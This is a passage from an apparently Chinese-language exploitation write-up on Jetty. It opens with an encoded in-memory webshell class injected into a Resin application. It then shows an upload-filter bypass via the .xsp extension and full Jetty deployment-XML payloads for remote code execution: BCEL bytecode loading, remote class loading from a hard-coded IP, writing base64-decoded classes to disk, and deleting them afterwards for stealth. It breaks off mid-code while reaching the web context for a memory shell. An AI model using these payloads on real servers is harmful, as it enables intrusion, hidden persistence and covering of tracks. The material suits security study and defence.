String sbc="yv66vgAAADQAtwoAAgADBwAEDAAFAAYBABBqYXZhL2xhbmcvT2JqZWN0AQAGPGluaXQ%2BAQADKClWCAAIAQAQZTQ1ZTMyOWZlYjVkOTI1YgoACgALBwAMDAANAA4BABBqYXZhL2xhbmcvU3RyaW5nAQAIZ2V0Qnl0ZXMBAAQoKVtCCgAQABEHABIMABMAFAEAIWphdmF4L3NlcnZsZXQvU2VydmxldFJlcXVlc3RFdmVudAEAEWdldFNlcnZsZXRSZXF1ZXN0AQAgKClMamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdDsHABYBACVqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0CwAVABgMABkAGgEACWdldE1ldGhvZAEAFCgpTGphdmEvbGFuZy9TdHJpbmc7CAAcAQAEUE9TVAoACgAeDAAfACABAAZlcXVhbHMBABUoTGphdmEvbGFuZy9PYmplY3Q7KVoIACIBAAdYLVNoZWxsCwAVACQMACUAJgEACWdldEhlYWRlcgEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7CAAoAQAKU0hFTExfQVVUSAsAFQAqDAArACwBAAhnZXRDbGFzcwEAEygpTGphdmEvbGFuZy9DbGFzczsIAC4BAAlfcmVzcG9uc2UKADAAMQcAMgwAMwA0AQAPamF2YS9sYW5nL0NsYXNzAQAQZ2V0RGVjbGFyZWRGaWVsZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9yZWZsZWN0L0ZpZWxkOwoANgA3BwA4DAA5ADoBABdqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZAEADXNldEFjY2Vzc2libGUBAAQoWilWCgA2ADwMAD0APgEAA2dldAEAJihMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7BwBAAQAmamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc2UHAEIBAB1qYXZhL2lvL0J5dGVBcnJheU91dHB1dFN0cmVhbQoAQQADCwAVAEUMAEYARwEADmdldElucHV0U3RyZWFtAQAkKClMamF2YXgvc2VydmxldC9TZXJ2bGV0SW5wdXRTdHJlYW07CgBJAEoHAEsMAEwATQEAIGphdmF4L3NlcnZsZXQvU2VydmxldElucHV0U3RyZWFtAQAEcmVhZAEABShbQilJCgBPAFAHAFEMAFIAUwEAEGphdmEvdXRpbC9BcnJheXMBAAtjb3B5T2ZSYW5nZQEACChbQklJKVtCCgBBAFUMAFYAVwEABXdyaXRlAQAFKFtCKVYHAFkBABFqYXZhL3V0aWwvSGFzaE1hcAoAWAADCABcAQAHcmVxdWVzdAoAWABeDABfAGABAANwdXQBADgoTGphdmEvbGFuZy9PYmplY3Q7TGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwgAYgEACHJlc3BvbnNlCABkAQAHc2Vzc2lvbgsAFQBmDABnAGgBAApnZXRTZXNzaW9uAQAiKClMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXNzaW9uOwcAagEAFWphdmEvbGFuZy9DbGFzc0xvYWRlcggAbAEAC2RlZmluZUNsYXNzBwBuAQACW0IJAHAAcQcAcgwAcwB0AQARamF2YS9sYW5nL0ludGVnZXIBAARUWVBFAQARTGphdmEvbGFuZy9DbGFzczsKADAAdgwAdwB4AQARZ2V0RGVjbGFyZWRNZXRob2QBAEAoTGphdmEvbGFuZy9TdHJpbmc7W0xqYXZhL2xhbmcvQ2xhc3M7KUxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7CgBBAHoMAHsADgEAC3RvQnl0ZUFycmF5CgB9AH4HAH8MAIAAgQEAGWNvbS90ZXN0L01lbVNoZWxsTGlzdGVuZXIBAAdEZWNyeXB0AQAGKFtCKVtCCgCDADcHAIQBABhqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2QKAAIAKgoAMACHDACIAIkBAA5nZXRDbGFzc0xvYWRlcgEAGSgpTGphdmEvbGFuZy9DbGFzc0xvYWRlcjsKAHAAiwwAjACNAQAHdmFsdWVPZgEAFihJKUxqYXZhL2xhbmcvSW50ZWdlcjsKAIMAjwwAkACRAQAGaW52b2tlAQA5KExqYXZhL2xhbmcvT2JqZWN0O1tMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7CgAwAJMMAJQAlQEAC25ld0luc3RhbmNlAQAUKClMamF2YS9sYW5nL09iamVjdDsKAAIAHgcAmAEAHmphdmEvbGFuZy9Ob1N1Y2hGaWVsZEV4Y2VwdGlvbgcAmgEAIGphdmEvbGFuZy9JbGxlZ2FsQWNjZXNzRXhjZXB0aW9uBwCcAQATamF2YS9pby9JT0V4Y2VwdGlvbgcAngEAH2phdmEvbGFuZy9Ob1N1Y2hNZXRob2RFeGNlcHRpb24HAKABACtqYXZhL2xhbmcvcmVmbGVjdC9JbnZvY2F0aW9uVGFyZ2V0RXhjZXB0aW9uBwCiAQAgamF2YS9sYW5nL0luc3RhbnRpYXRpb25FeGNlcHRpb24KAKQApQcApgwApwAGAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAD3ByaW50U3RhY2tUcmFjZQcAqQEAGmphdmEvbGFuZy9SdW50aW1lRXhjZXB0aW9uCgCoAKsMAAUArAEAGChMamF2YS9sYW5nL1Rocm93YWJsZTspVgcArgEAJGphdmF4L3NlcnZsZXQvU2VydmxldFJlcXVlc3RMaXN0ZW5lcgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAA1TdGFja01hcFRhYmxlAQAQcmVxdWVzdERlc3Ryb3llZAEAJihMamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdEV2ZW50OylWAQAScmVxdWVzdEluaXRpYWxpemVkAQAKU291cmNlRmlsZQEAFU1lbVNoZWxsTGlzdGVuZXIuamF2YQAhAH0AAgABAK0AAAAEAAEABQAGAAEArwAAAB0AAQABAAAABSq3AAGxAAAAAQCwAAAABgABAAAAEQACAIAAgQABAK8AAABgAAYABAAAACYSB00DPh0rvqIAHCsdKx0zLLYACR0EYBAPfjOCkVSEAwGn%2F%2BQrsAAAAAIAsAAAABYABQAAABQAAwAVAAsAFgAeABUAJAAYALEAAAAMAAL9AAUHAAoB%2BgAeAAEAsgCzAAEArwAAABkAAAACAAAAAbEAAAABALAAAAAGAAEAAAAdAAEAtACzAAEArwAAAhcABgAMAAABLyu2AA%2FAABVNLLkAFwEAEhu2AB2ZAQosEiG5ACMCAMYA%2FywSIbkAIwIAEie2AB2ZAO8suQApAQASLbYAL04tBLYANS0stgA7wAA%2FOgS7AEFZtwBDOgURAgC8CDoGLLkARAEAGQa2AEg2BxUHngAkGQYDFQe4AE46CBkFGQi2AFQsuQBEAQAZBrYASDYHp%2F%2FduwBYWbcAWjoIGQgSWyy2AF1XGQgSYRkEtgBdVxkIEmMsuQBlAQC2AF1XEmkSawa9ADBZAxJtU1kEsgBvU1kFsgBvU7YAdToJKhkFtgB5twB8OgoZCQS2AIIZCSq2AIW2AIYGvQACWQMZClNZBAO4AIpTWQUZCr64AIpTtgCOwAAwOgsZC7YAkhkItgCWV6cAEU0stgCjuwCoWSy3AKq%2FsQAGAAABHQEgAJcAAAEdASAAmQAAAR0BIACbAAABHQEgAJ0AAAEdASAAnwAAAR0BIAChAAIAsAAAAG4AGwAAACIACAAjADEAJAA9ACUAQgAmAEwAKABVACkAXAAqAGkAKwBuACwAeAAtAH8ALgCMAC8AjwAwAJgAMQChADIAqwAzALkANADXADUA4gA2AOgANwESADgBHQA%2BASAAOgEhADwBJQA9AS4APwCxAAAAMgAF%2FwBpAAgHAH0HABAHABUHADYHAD8HAEEHAG0BAAAl%2FwCNAAIHAH0HABAAAEIHAKQNAAEAtQAAAAIAtg%3D%3D";
byte[] bc = java.util.Base64.getDecoder().decode(sbc);
Object[] o = new Object[3];
o[0] = bc;o[1] = 0;o[2] = bc.length;
defineClass.invoke((Object)org.me.DemoServlet.class.getClassLoader(), o);
print("Class Load Done");
print(com.test.MemShellListener.class);
javax.servlet.ServletRequest request=(javax.servlet.ServletRequest)bsh.httpServletRequest;
com.caucho.server.webapp.WebApp app=(com.caucho.server.webapp.WebApp)request.getServletContext();
app.addListener("com.test.MemShellListener");
app.clearCache();
print("Memshell inject Done");
使用支持POST
方法的Servlet
作为请求路由,即可链接:
Jetty
源代码位置
就是在webapps
里的war
文件。
Jetty远程调试
配置Jetty JVM参数
由于Jetty直接使用了Jar
包启动,直接加入命令行参数即可:
java -jar -Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=n,address=5005 start.jar
配置IDEA
解压War包,将classes目录添加为库(必须),复制Jetty下的lib目录,将其添加为库,spring的lib同样添加为库。
配置远程JVM调试,能正常链接即可。
Jetty代码审计
文件上传
反编译后可以发现org.me.controller.BaseController
存在文件上传接口:
@RequestMapping(
value = {"/upload"},
method = {RequestMethod.POST}
)
public String upload(@RequestBody String content, @RequestParam("filename") String filename, ModelMap model) throws Exception {
File destFile = new File(filename);
filename = filename.toLowerCase();
if (!filename.contains(".jsp") && !filename.contains(".war") && !filename.contains(".jar")) {
FileOutputStream fileOutputStream = new FileOutputStream(destFile);
fileOutputStream.write(content.getBytes());
fileOutputStream.close();
fileOutputStream.flush();
model.addAttribute("message", "Upload Path: " + destFile.getCanonicalPath());
return "index";
} else {
model.addAttribute("message", "非法后缀");
return "index";
}
}
可以发现屏蔽了.jsp[x]
、.war
以及.jar
文件的上传,除了上述文件,应该可以写入任意文件,那么应该还是利用Jetty的特性来做到这件事情。
先看一下Jetty的Web配置情况,发现Jetty的Servlet
配置有点奇怪:
<servlet id="jsp">
<servlet-name>jsp</servlet-name>
<servlet-class>org.eclipse.jetty.jsp.JettyJspServlet</servlet-class>
<init-param>
<param-name>logVerbosityLevel</param-name>
<param-value>DEBUG</param-value>
</init-param>
<init-param>
<param-name>fork</param-name>
<param-value>false</param-value>
</init-param>
<init-param>
<param-name>xpoweredBy</param-name>
<param-value>false</param-value>
</init-param>
<init-param>
<param-name>compilerTargetVM</param-name>
<param-value>1.7</param-value>
</init-param>
<init-param>
<param-name>compilerSourceVM</param-name>
<param-value>1.7</param-value>
</init-param>
<!--
<init-param>
<param-name>classpath</param-name>
<param-value>?</param-value>
</init-param>
-->
<load-on-startup>0</load-on-startup>
</servlet>
<servlet-mapping>
<servlet-name>jsp</servlet-name>
<url-pattern>*.jsp</url-pattern>
<url-pattern>*.jspf</url-pattern>
<url-pattern>*.jspx</url-pattern>
<url-pattern>*.xsp</url-pattern>
<url-pattern>*.JSP</url-pattern>
<url-pattern>*.JSPF</url-pattern>
<url-pattern>*.JSPX</url-pattern>
<url-pattern>*.XSP</url-pattern>
</servlet-mapping>
发现.xsp
居然也是JspServlet
的解析尾缀,这样的话,尝试直接上传冰蝎马:
上传后发现了上传目录,但是实际上,查看jetty.ini
的配置文件,可以发现没有配置War
的解压目录,也就是说会解压到临时目录下,如图:
可以看到命名实际上非常不规范,在不存在列目录的漏洞时,如何确定到这个具体的目录是一个问题。
热重载原理分析
由于War
文件被禁了,写配置的话得重启服务器,一般服务器有热重载的功能,那么看下在Jetty里这个是如何实现的。
直接搜索.endsWith(".war")
,监听文件系统是否增删改war
的话,必然会有这样的语句,最后可以匹配到:
感觉第二个WebAppProvider
应该比较像,于是跟进,发现了fileChanged
、fileAdded
和fileRemoved
方法,在fileAdd
处下断点,看看添加文件是否会进入到目标方法。
成功进入断点:
而在上面三个方法里,发现除了.war
,实际上还判断了.xml
:
protected void fileAdded(String filename) throws Exception {
File file = new File(filename);
if (file.exists()) {
if (file.isDirectory()) {
if (!this.exists(file.getName() + ".xml") && !this.exists(file.getName() + ".XML")) {
if (!this.exists(file.getName() + ".war") && !this.exists(file.getName() + ".WAR")) {
super.fileAdded(filename);
}
}
} else {
String lowname = file.getName().toLowerCase(Locale.ENGLISH);
if (lowname.endsWith(".war")) {
String name = file.getName();
String base = name.substring(0, name.length() - 4);
if (!this.exists(base + ".xml") && !this.exists(base + ".XML")) {
super.fileAdded(filename);
}
} else {
if (lowname.endsWith(".xml")) {
super.fileAdded(filename);
}
}
}
}
}
不难分析出,实际还监控了xml
文件的改变,并且调用super.fileAdded
。
再跟进可以发现super.fileAdded
会创建一个App
:
protected void fileAdded(String filename) throws Exception {
if (LOG.isDebugEnabled()) {
LOG.debug("added {}", new Object[]{filename});
}
App app = this.createApp(filename);
if (app != null) {
this._appMap.put(filename, app);
this._deploymentManager.addApp(app);
}
}
也就是说,在webapps
目录下创建一个xml
文件,就会在jetty
下创建一个新的App
。
事实上这似乎是一个很正常的行为,如果不使用WAR部署,直接将解压后的目录移动到Jetty的
webapps
下,则应该自动扫描web.xml
从而完成自动部署,但是当我翻阅官方文档时Jetty : The Definitive Reference,却发现Jetty貌似这个xml
不止是这样的作用。
再看Jetty Deployable Descriptor XML File
,发现了一个例子:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE Configure PUBLIC "-//Jetty//Configure//EN" "http://www.eclipse.org/jetty/configure_9_3.dtd">
<Configure class="org.eclipse.jetty.webapp.WebAppContext">
<Set name="contextPath">/wiki</Set>
<Set name="war">/opt/myapp/myapp.war</Set>
</Configure>
如果能够正常上传zip的话,实际上可以直接将文件的尾缀任意修改,然后配置好
war
路径就可以拿到webshell
了,但是很遗憾,代码里的content
类型是String
,无法正常的写入一个Zip
文件,因此这就被直接排除了。
热重载到指定目录
回到文件监听的代码里,会发现,如果XML
存在,则会忽略War
文件的变动,而XML
的变动则是一定会出发App
的热部署。
那么这样的话,一个较好的利用方式就出现了:
- 写入一个新的XML文件,重新部署
spring.war
到一个指定的目录 - 向指定目录写入
shell.xsp
- 链接webshell
查看文档这确实是可行的,官方提供了一个
tempDirectory
的变量去控制释放目录。
首先准备好XML文件:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE Configure PUBLIC "-//Jetty//Configure//EN" "http://www.eclipse.org/jetty/configure_9_3.dtd">
<Configure class="org.eclipse.jetty.webapp.WebAppContext">
<Set name="contextPath">/test</Set>
<Set name="war">C:\Users\Administrator\Desktop\jetty\webapps\spring.war</Set>
<Set name="tempDirectory">C:\Users\Administrator\Desktop\jetty\test</Set>
</Configure>
这会在/test
的Context
下部署spring.war
,并且解压到/test
目录下。
随后写入Webshell:
尝试链接:
成功。
但是到这里实际有点问题,这应该是内存马的练习,而不是绕过上传Webshell的练习。
XML代码执行
在官网文档设置临时目录部分的下面,看到了这一段XML代码:
<Configure class="org.eclipse.jetty.webapp.WebAppContext">
<Set name="contextPath">/test</Set>
<Set name="war">foo.war</Set>
<Call name="setAttribute">
<Arg>javax.servlet.context.tempdir</Arg>
<Arg>/some/dir/foo</Arg>
</Call>
</Configure>
实际上这也是设置临时目录的,但这里使用到了Call
这个标签,这里的设置等同于以下代码:
WebAppContext context = new WebAppContext();
context.setContextPath("/test");
context.setWar("foo.war");
context.setAttribute("org.eclipse.jetty.webapp.basetempdir", "/tmp/foo");
再次搜索Call
,可以确定这是调用方法的一个标签,而Set
则是调用对象对应的Setter
,那么考虑使用XML去执行代码。
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE Configure PUBLIC "-//Jetty//Configure//EN" "http://www.eclipse.org/jetty/configure_9_3.dtd">
<Configure class="org.eclipse.jetty.webapp.WebAppContext">
<Call class="java.lang.Runtime" name="getRuntime">
<Call name="exec">
<Arg>
<Array type="String">
<Item>calc</Item>
</Array>
</Arg>
</Call>
</Call>
</Configure>
再看服务器,成功弹窗计算器:
那么就可以考虑利用这个执行任意代码了。
BCEL字节码加载
要想直接注入内存马,就得利用Classloader
加载字节码并且newInstance
,由于XML语法繁琐,直接使用BCEL
的Classloader
加载并newInstance
,调用方法更少,并且可链式调用new com.sun.org.apache.bcel.internal.util.ClassLoader().loadClass("$$BCEL$$...").newInstance();
,是极好的方式,这里先通过一个静态类去完成命令执行。
静态类如下:
public class Test {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
throw new RuntimeException(e);
}
}
}
编译转BCEL字节码:
$$BCEL$$$l$8b$I$A$A$A$A$A$A$ffeP$cbN$CA$Q$ac$e15$ec$ba$c8K$k$e2$T$_$82$H$b9x$83x1$9a$YQ$8c$Q$8c$c7e$9c$e0$o$ec$92eQ$fe$c83$X5$9a$e8$dd$8f2$f6l$I$920$87$99$e9$ea$ee$aa$ee$fa$f9$fd$f8$Cp$84$3d$j$B$E9B$G$c2$880$qz$e6$93Y$e9$9bv$b7$d2$e8$f4$a4$f0$Y$o5$cb$b6$bcc$86$60$a9$dc$d6$R$85$c6$a1$hX$81$c1$90$fc$_$bf$Z$db$9e5$90$MzWz$f3$mS$w$d7$97j$aaQ$ac2$84$84$d9$X$8a$_a$m$89$U$Br$o$F$c3$7ei$a1$a3$e9$b9$96$dd$ad$$$92$5c$bb$8e$90$a3Q$95c$8d$n$ed$e3$96S9o$9cN$84$iz$96csd$Z$KK$aa$f3$bc$8e$M$f2j$dfu$86$fc$a2X$eb$c1u$9e$cdN_V$cbm$8e$N$9a$a8$rG$e4$40$e8$c4$b9$a7$5d$e2u$cb$96W$e3AG$ba$zU$c5$Q$ad$89$fe$cc$9cX$d33$c5$e3$a59$9c$a5$f4$a63v$85$3c$b3T$a0$v$9eC$r$84$o$K$e4$b8$3a$B0$e59$dd$9b$Um$d1$cb$e8$N$l$bc$81M$e9$c3$I$82$9f$G$82$e4$d2$f6$bc$b4E$b1Bs$ef$e0$a9$d8$x$e2$b7$_$88$5d$7c$osG$bd$b9$ef$a9$9f$d4$60$mM$g$8a$qK$3a$8aJ$f3Q$8e$Y$d1e$a1c$87P$8e$40$9d$p$adQ$d3$ae$3fT$f1$PC$97$ba$dd$i$C$A$A
组合成Payload
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE Configure PUBLIC "-//Jetty//Configure//EN" "http://www.eclipse.org/jetty/configure_9_3.dtd">
<Configure class="org.eclipse.jetty.webapp.WebAppContext">
<New id="bcel_classloader" class="com.sun.org.apache.bcel.internal.util.ClassLoader">
<Call name="loadClass">
<Arg>$$BCEL$$$l$8b$I$A$A$A$A$A$A$ffeP$cbN$CA$Q$ac$e15$ec$ba$c8K$k$e2$T$_$82$H$b9x$83x1$9a$YQ$8c$Q$8c$c7e$9c$e0$o$ec$92eQ$fe$c83$X5$9a$e8$dd$8f2$f6l$I$920$87$99$e9$ea$ee$aa$ee$fa$f9$fd$f8$Cp$84$3d$j$B$E9B$G$c2$880$qz$e6$93Y$e9$9bv$b7$d2$e8$f4$a4$f0$Y$o5$cb$b6$bcc$86$60$a9$dc$d6$R$85$c6$a1$hX$81$c1$90$fc$_$bf$Z$db$9e5$90$MzWz$f3$mS$w$d7$97j$aaQ$ac2$84$84$d9$X$8a$_a$m$89$U$Br$o$F$c3$7ei$a1$a3$e9$b9$96$dd$ad$$$92$5c$bb$8e$90$a3Q$95c$8d$n$ed$e3$96S9o$9cN$84$iz$96csd$Z$KK$aa$f3$bc$8e$M$f2j$dfu$86$fc$a2X$eb$c1u$9e$cdN_V$cbm$8e$N$9a$a8$rG$e4$40$e8$c4$b9$a7$5d$e2u$cb$96W$e3AG$ba$zU$c5$Q$ad$89$fe$cc$9cX$d33$c5$e3$a59$9c$a5$f4$a63v$85$3c$b3T$a0$v$9eC$r$84$o$K$e4$b8$3a$B0$e59$dd$9b$Um$d1$cb$e8$N$l$bc$81M$e9$c3$I$82$9f$G$82$e4$d2$f6$bc$b4E$b1Bs$ef$e0$a9$d8$x$e2$b7$_$88$5d$7c$osG$bd$b9$ef$a9$9f$d4$60$mM$g$8a$qK$3a$8aJ$f3Q$8e$Y$d1e$a1c$87P$8e$40$9d$p$adQ$d3$ae$3fT$f1$PC$97$ba$dd$i$C$A$A</Arg>
<Call name="newInstance"></Call>
</Call>
</New>
</Configure>
请求要把
Content-Type
改成multipart/form-data
可以看到成功执行,在目标机器成功弹出计算器。
常规字节码加载
前面其实不难看出,XML
的解析可以执行任意代码,如果目标不是Java 8,而是更高版本,则需要一种更加通用的字节码加载方式。
出网情况
若是机器出网的话,则可通过URLClassLoader
去完成这件事情,如下XML
:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE Configure PUBLIC "-//Jetty//Configure//EN" "http://www.eclipse.org/jetty/configure_9_3.dtd">
<Configure class="org.eclipse.jetty.webapp.WebAppContext">
<New id="url_classloader" class="java.net.URLClassLoader">
<Arg>
<Array type="java.net.URL">
<Item>
<New id="url" class="java.net.URL">
<Arg>http://100.98.212.46:10818/</Arg>
</New>
</Item>
</Array>
</Arg>
<Call name="loadClass">
<Arg>Test</Arg>
<Call name="newInstance"></Call>
</Call>
</New>
</Configure>
成功弹窗记事本:
不出网情况
这种情况就稍微要更复杂一点了,由于上传只能写入可见字符,因为Class
文件里是存在着大量不可见字符的,不出网则首先需要将字节码编码,而后解码释放到目标机器上,然后再使用ClassLoader
进行加载。
首先考虑写文件,选用的方法肯定是需要Java通用的写入方法,但是由于编码的文件,可能需要考虑到究竟是使用java.util.Base64
(高版本)还是使用sun.misc.BASE64Decoder
(低版本)去进行解码,两个不同解码方式的写文件XML:
- 使用
sun.misc.BASE64Decoder
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE Configure PUBLIC "-//Jetty//Configure//EN" "http://www.eclipse.org/jetty/configure_9_3.dtd">
<Configure class="org.eclipse.jetty.webapp.WebAppContext">
<New id="decoder" class="sun.misc.BASE64Decoder">
<Call id="classbyte" name="decodeBuffer">
<Arg>Base64内容</Arg>
</Call>
</New>
<New id="os" class="java.io.FileOutputStream">
<Arg>Exploit.class</Arg>
<Arg type="boolean">false</Arg>
<Call name="write">
<Arg>
<Ref refid="classbyte" />
</Arg>
</Call>
<Call name="close"></Call>
</New>
</Configure>
- 使用
java.util.Base64
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE Configure PUBLIC "-//Jetty//Configure//EN" "http://www.eclipse.org/jetty/configure_9_3.dtd">
<Configure class="org.eclipse.jetty.webapp.WebAppContext">
<Call class="java.util.Base64" name="getDecoder">
<Call id="classbyte" name="decode">
<Arg>Base64内容</Arg>
</Call>
</Call>
<New id="os" class="java.io.FileOutputStream">
<Arg>Exploit.class</Arg>
<Arg type="boolean">false</Arg>
<Call name="write">
<Arg>
<Ref refid="classbyte" />
</Arg>
</Call>
<Call name="close"></Call>
</New>
</Configure>
如果需要把写入的文件锁死,去除
<Call name="close"></Call>
,不关闭流即可。
写入文件现在解决了,接下来仍然是使用URLClassLoader
去进行类加载,将上面出网的Payload
简单修改即可使用:
<New id="file" class="java.io.File">
<Arg>./</Arg>
<Call id="url" name="toURL"></Call>
</New>
<New id="url_classloader" class="java.net.URLClassLoader">
<Arg>
<Array type="java.net.URL">
<Item>
<Ref refid="url" />
</Item>
</Array>
</Arg>
<Call name="loadClass">
<Arg>Exploit</Arg>
<Call name="newInstance"></Call>
</Call>
</New>
将其组合起来就可以形成一个在任意Java版本都可以使用的Jetty XML RCE
了:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE Configure PUBLIC "-//Jetty//Configure//EN" "http://www.eclipse.org/jetty/configure_9_3.dtd">
<Configure class="org.eclipse.jetty.webapp.WebAppContext">
<Call class="java.util.Base64" name="getDecoder">
<Call id="classbyte" name="decode">
<Arg>Base64字节码</Arg>
</Call>
</Call>
<New id="os" class="java.io.FileOutputStream">
<Arg>类名.class</Arg>
<Arg type="boolean">false</Arg>
<Call name="write">
<Arg>
<Ref refid="classbyte" />
</Arg>
</Call>
<Call name="close"></Call>
</New>
<New id="file" class="java.io.File">
<Arg>./</Arg>
<Call id="url" name="toURL"></Call>
</New>
<New id="url_classloader" class="java.net.URLClassLoader">
<Arg>
<Array type="java.net.URL">
<Item>
<Ref refid="url" />
</Item>
</Array>
</Arg>
<Call name="loadClass">
<Arg>类名</Arg>
<Call name="newInstance"></Call>
</Call>
</New>
</Configure>
如果想要更加隐蔽,则还需要在完成后将对应的文件删除,方法也很简单,只需要在最后再加一点内容,完整内容如下:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE Configure PUBLIC "-//Jetty//Configure//EN" "http://www.eclipse.org/jetty/configure_9_3.dtd">
<Configure class="org.eclipse.jetty.webapp.WebAppContext">
<Call class="java.util.Base64" name="getDecoder">
<Call id="classbyte" name="decode">
<Arg>Base64内容</Arg>
</Call>
</Call>
<New id="os" class="java.io.FileOutputStream">
<Arg>类名.class</Arg>
<Arg type="boolean">false</Arg>
<Call name="write">
<Arg>
<Ref refid="classbyte" />
</Arg>
</Call>
<Call name="close"></Call>
</New>
<New id="file" class="java.io.File">
<Arg>./</Arg>
<Call id="url" name="toURL"></Call>
</New>
<New id="url_classloader" class="java.net.URLClassLoader">
<Arg>
<Array type="java.net.URL">
<Item>
<Ref refid="url" />
</Item>
</Array>
</Arg>
<Call name="loadClass">
<Arg>类名</Arg>
<Call name="newInstance"></Call>
</Call>
</New>
<New class="java.io.File">
<Arg>类名.class</Arg>
<Call name="delete"></Call>
</New>
</Configure>
Jetty内存马
WebAppContext
获取ServletContext
如图,对于ServletContext
的实现有五个,显然是WebAppContext
是对应的最终实现:
那么现在的问题就变成了如何获取到WebAppContext
了,一种可行的方法是通过获取到WebAppClassLoader
再去取WebAppContext
。
使用项目GitHub - c0ny1/java-object-searcher: java内存对象搜索辅助工具去搜索一下获取链,将断点断在org.eclipse.jetty.xml.XomConfiguration
的void set(Object obj, XmlParser.Node node)
方法处,如下:
断点后,执行表达式:
//设置搜索类型包含Request关键字的对象
List<Keyword> keys = new ArrayList<>();
keys.add(new Keyword.Builder().setField_type("WebAppContext").build());
//定义黑名单
List<Blacklist> blacklists = new ArrayList<>();
blacklists.add(new Blacklist.Builder().setField_type("java.io.File").build());
//新建一个广度优先搜索Thread.currentThread()的搜索器
SearchRequstByBFS searcher = new SearchRequstByBFS(Thread.currentThread(),keys);
// 设置黑名单
searcher.setBlacklists(blacklists);
//打开调试模式,会生成log日志
searcher.setIs_debug(true);
//挖掘深度为20
searcher.setMax_search_depth(20);
//设置报告保存位置
searcher.setReport_save_path("C:\\Users\\evalexp\\Desktop\\search");
searcher.searchObject();
完成后可以看到有许多链:
TargetObject = {java.util.TimerThread}
---> queue = {java.util.TaskQueue}
---> queue = {class [Ljava.util.TimerTask;}
---> [1] = {org.eclipse.jetty.util.Scanner$1}
---> this$0 = {org.eclipse.jetty.util.Scanner}
---> _listeners = {java.util.List<org.eclipse.jetty.util.Scanner$Listener>}
---> [0] = {org.eclipse.jetty.deploy.providers.ScanningAppProvider$1}
---> this$0 = {org.eclipse.jetty.deploy.providers.WebAppProvider}
---> _appMap = {java.util.Map<java.lang.String, org.eclipse.jetty.deploy.App>}
---> [D:\Program Files\jetty-distribution-9.4.52.v20230823\webapps\jetty.xml] = {org.eclipse.jetty.deploy.App}
---> _context = {org.eclipse.jetty.webapp.WebAppContext}
TargetObject = {java.util.TimerThread}
---> group = {java.lang.ThreadGroup}
---> threads = {class [Ljava.lang.Thread;}
---> [1] = {java.lang.Thread}
---> target = {org.eclipse.jetty.util.thread.QueuedThreadPool$Runner}
---> this$0 = {org.eclipse.jetty.util.thread.QueuedThreadPool}
---> _listeners = {java.util.List<org.eclipse.jetty.util.component.Container$Listener>}
---> [0] = {org.eclipse.jetty.jmx.MBeanContainer}
---> _beans = {java.util.concurrent.ConcurrentHashMap}
---> _beans = {org.eclipse.jetty.webapp.WebAppContext}
TargetObject = {java.util.TimerThread}
---> queue = {java.util.TaskQueue}
---> queue = {class [Ljava.util.TimerTask;}
---> [1] = {org.eclipse.jetty.util.Scanner$1}
---> this$0 = {org.eclipse.jetty.util.Scanner}
---> _listeners = {java.util.List<org.eclipse.jetty.util.Scanner$Listener>}
---> [0] = {org.eclipse.jetty.deploy.providers.ScanningAppProvider$1}
---> this$0 = {org.eclipse.jetty.deploy.providers.WebAppProvider}
---> _appMap = {java.util.Map<java.lang.String, org.eclipse.jetty.deploy.App>}
---> [D:\Program Files\jetty-distribution-9.4.52.v20230823\webapps\jetty.xml] = {org.eclipse.jetty.deploy.App}
---> _context = {org.eclipse.jetty.webapp.WebAppContext}
---> _scontext = {org.eclipse.jetty.webapp.WebAppContext$Context}
TargetObject = {java.util.TimerThread}
---> group = {java.lang.ThreadGroup}
---> threads = {class [Ljava.lang.Thread;}
---> [1] = {java.lang.Thread}
---> target = {org.eclipse.jetty.util.thread.QueuedThreadPool$Runner}
---> this$0 = {org.eclipse.jetty.util.thread.QueuedThreadPool}
---> _listeners = {java.util.List<org.eclipse.jetty.util.component.Container$Listener>}
---> [0] = {org.eclipse.jetty.jmx.MBeanContainer}
---> _beans = {java.util.concurrent.ConcurrentHashMap}
---> _beans = {org.eclipse.jetty.webapp.WebAppContext}
---> _scontext = {org.eclipse.jetty.webapp.WebAppContext$Context}
此处选用第一条链,获取Context
:
static List getContext() {
try {
Object thread = Thread.currentThread();
Field fqueue_1 = thread.getClass().getDeclaredField("queue");
fqueue_1.setAccessible(true);
Object queue_1 = fqueue_1.get(thread);
Field fqueue_2 = queue_1.getClass().getDeclaredField("queue");
fqueue_2.setAccessible(true);
Object queue_2 = (Object) fqueue_2.get(queue_1);
Object scanner$1 = Array.get(queue_2, 1);
Field fthis$0 = scanner$1.getClass().getDeclaredField("this$0");
fthis$0.setAccessible(true);
Object scanner = fthis$0.get(scanner$1);
Field f_listener = scanner.getClass().getDeclaredField("_listeners");
f_listener.setAccessible(true);
ArrayList listeners = (ArrayList) f_listener.get(scanner);
Object scanningAppProvider = listeners.get(0);
Field fthis$0_2 = scanningAppProvider.getClass().getDeclaredField("this$0");
fthis$0_2.setAccessible(true);
Object webAppProvider = fthis$0_2.get(scanningAppProvider);
